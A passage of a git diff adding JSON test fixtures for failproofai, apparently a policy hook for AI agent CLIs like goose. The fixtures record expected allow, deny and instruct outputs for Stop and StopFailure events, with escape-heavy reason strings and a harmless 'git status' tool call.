null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Stop/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/Stop/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..7615f0f8 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Stop/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Stop/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/Stop/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..d43f3ab7 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Stop/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Stop/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/Stop/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..20237cc1 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Stop/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Stop/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/Stop/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..068868b5 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Stop/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/StopFailure/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/StopFailure/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..4bb35698 --- /dev/null +++ b/__tests__/parity/fixtures/goose/StopFailure/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/StopFailure/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/StopFailure/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..96a5901c --- /dev/null +++ b/__tests__/parity/fixtures/goose/StopFailure/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/StopFailure/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/StopFailure/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..3f8117f5 --- /dev/null +++ b/__tests__/parity/fixtures/goose/StopFailure/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/StopFailure/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/StopFailure/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..c44ced6e --- /dev/null +++ b/__tests__/parity/fixtures/goose/StopFailure/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/StopFailure/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/StopFailure/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..42b1886f --- /dev/null +++ b/__tests__/parity/fixtures/goose/StopFailure/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/StopFailure/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/StopFailure/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..22bd06a7 --- /dev/null +++ b/__tests__/parity/fixtures/goose/StopFailure/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/StopFailure/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/StopFailure/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..fd7fbed5 --- /dev/null +++ b/__tests__/parity/fixtures/goose/StopFailure/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/StopFailure/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/StopFailure/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..cd1b10db --- /dev/null +++ b/__tests__/parity/fixtures/goose/StopFailure/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/StopFailure/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/StopFailure/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..d53e6ed3 --- /dev/null +++ b/__tests__/parity/fixtures/goose/StopFailure/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/StopFailure/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/StopFailure/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..5e749a1c --- /dev/null +++ b/__tests__/parity/fixtures/goose/StopFailure/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/StopFailure/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/StopFailure/deny__tool-present__one-policy.json new file mode 100644 index 00000000..b65e9c54 --- /dev/null +++ b/__tests__/parity/fixtures/goose/StopFailure/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/StopFailure/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/StopFailure/deny__tool-present__two-policies.json new file mode 100644 index 00000000..96009844 --- /dev/null +++ b/__tests__/parity/fixtures/goose/StopFailure/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/StopFailure/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/StopFailure/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..7252d2aa --- /dev/null +++ b/__tests__/parity/fixtures/goose/StopFailure/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/StopFailure/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/StopFailure/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..7f0c24f9 --- /dev/null +++ b/__tests__/parity/fixtures/goose/StopFailure/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/StopFailure/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/StopFailure/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..a9d237fd --- /dev/null +++ b/__tests__/parity/fixtures/goose/StopFailure/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/StopFailure/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/StopFailure/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..f6e86aca --- /dev/null +++ b/__tests__/parity/fixtures/goose/StopFailure/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + 